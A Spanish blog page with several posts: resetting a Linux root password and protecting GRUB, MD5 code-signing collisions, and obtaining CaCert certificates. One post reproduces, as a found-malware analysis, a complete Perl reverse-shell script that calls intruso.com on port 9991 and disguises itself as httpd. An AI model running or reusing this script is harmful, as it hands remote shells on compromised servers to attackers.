Resetear password de root

Supongamos que se te ha olvidado el password de root de tu máquina Linux. ¿Es posible recuperarlo? No. ¿Es posible resetearlo? Sí. El proceso es sencillo, pero en esta web lo han documentado paso a paso.

¿Y es posible proteger GRUB para que no se pueda hacer lo que el artículo anterior indica? Sí, a través del comando password de GRUB.

Y no debemos de olvidarnos de protegernos ante arranques con LiveCD; para ello, indicaremos por BIOS que se arranque a través del disco duro y pondremos un password en la BIOS para que no nos cambien esa configuración.

Herramientas de destrucción masiva

He encontrado un regalito mientras limpiaba uno de mis servidores …. Este script Perl (lo he limpiado y descifrado un poco para que se entienda mejor) se conecta contra intruso.com (logicamente otra máquina), al puerto 9991. Allí, con netcat a la escucha en ese puerto, recibe la shell inversa del servidor pirateado. En mi servidor, el proceso aparece como /usr/sbin/httpd. Angelitos…

#!/usr/bin/perl
use Socket;
#
$spread=»intruso.com»;
$port=»9991″;
$fake=»/usr/sbin/httpd»;
if ($ARGV[0]) {
$spread=$ARGV[0];
}
$proto = getprotobyname(‘tcp’) || die(«[x] Error: getprotobyname()nn»);
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die («[x] Error: Socket()n»);
if (!connect(SERVER, pack «SnA4x8», 2, $port, inet_aton($spread))) {
die(«[x] Failed!..n»);
}
if (!fork( )) {
$0=$fake.»»x16;;
open(STDIN,»>&SERVER»);
open(STDOUT,»>&SERVER»);
open(STDERR,»>&SERVER»);
system(«echo [x] Uname ; uname -a ; echo ; echo [x] Uptime ; uptime ; echo ; echo [x] Id ; id ; echo»);
#
exec {‘/bin/sh’} $fake . «» x4;
#
exit(0);
}
print «[x] shell ejecutada…n»;

MD5 no es efectivo para la firma de aplicaciones

Leo en Slashdot: Marc Stevens, Arjen K. Lenstra, y Benne de Weger han publicado un paper bajo el título ‘Vulnerability of software integrity and code signing applications to chosen-prefix collisions for MD5’. Describe un ataque que puede ser reproducido contra el algoritmo MD5 para falsificar resúmenes criptográficos generados por el mismo. Los investigadores en sus ejemplos parte de dos ficheros ejecutables simples para Windows: HelloWorld.exe y GoodbyeWorld.exe. El ataque consiste en añadir un prefijo que haga que el valor md5() de ambos ejecutables (con código distinto) sea idéntico. Los investigadores advierten no obstante de que para poder lanzar este ataque basado en añadir prefijos a un fichero para que genere el mismo valor md5 que otro fichero distinto es necesario, lógicamente, tener acceso al código antes de que éste sea firmado (o pasado por md5).

Certificados Digitales gratuitos con CaCert

CaCert.org es una Autoridad de Certificación (CA) que ofrece certificados digitales gratuitos, tanto para uso en clientes (para firmar digitalmente documentos o mensajes de correo, o incluso código fuente, como las macros de OpenOffice o las extensiones de Firefox) como en servidores (para autenticar un servidor frente a un cliente – «sí, éste realmente es el servidor de banca electrónica que dice ser»).

Cuando pides un certificado personal a CaCert, en los campos del usuario Nombre, Apellidos, Email, sólo te ofrecen, inicialmente, el poder elegir cuál es la dirección de correo que quieres que figure en el campo email. Para que tu nombre y apellidos también figuren, CaCert necesita asegurarse de que realmente eres quien dice ser. Para verificar esta cuestión, recurre a los anillos de confianza: usuarios que ya han acreditado sus datos personales han de firmar y acreditar los tuyos. En concreto, es necesario buscar a un «Assurer», una persona (a ser posible cercana a tu lugar de residencia) que, previa presentación de tu documento de identidad y/o pasaporte, acredite tu identidad frente a CaCert. Cada vez que consigues que un Assurer dé fe de tu identidad, consigues hasta 35 puntos. Es necesario acumular 100 puntos para que CaCert incluya tu nombre y apellidos (aparte del email) en el certificado.

Esta semana he enviado varios mensajes a varios «assurers» cercanos a Donostia, y sólo me ha respondido uno. He quedado con él para la semana que viene, a ver si consigo mis primeros 35 puntos y me entero exactamente de cómo funciona el proceso.

Es una lástima que CaCert no se incluya de serie en el almacén de Autoridades de Confianza de Mozilla/Firefox y haya que instalar el certificado raíz a mano. Sin embargo, parece ser que el proceso de inclusión del certificado raíz de CaCert (o de cualquier otra CA) en Mozilla debe de pasar por un proceso de auditoría bastante estricto. Y aún les queda trabajo por hacer… Interesante ese último enlace, porque en el Wiki de CaCert publican muchos detalles de la auditoría a la que deben someterse (ellos y cualquier otra CA que quiera ver su certificado raíz por defecto incluído en Mozilla/Firefox)

Es curioso, leyendo toda la documentación de los párrafos anteriores, me he enterado de que existe otra empresa que ofrece también certificados digitales gratuitos y que ha pasado ya con éxito por la auditoría que solicita Mozilla: StartCom. Instalaré sus certificados a ver qué tal funciona el proceso con esta otra CA.

Finalmente, para aquellos lectores que estén empezando y no conozcan las posibilidades de uso de los certificados digitales en Linux, les recomiendo el artículo sobre Firma Digital en Linux que escribí en la revista Todo Linux 66 y que la editorial ha tenido a bien publicar libremente.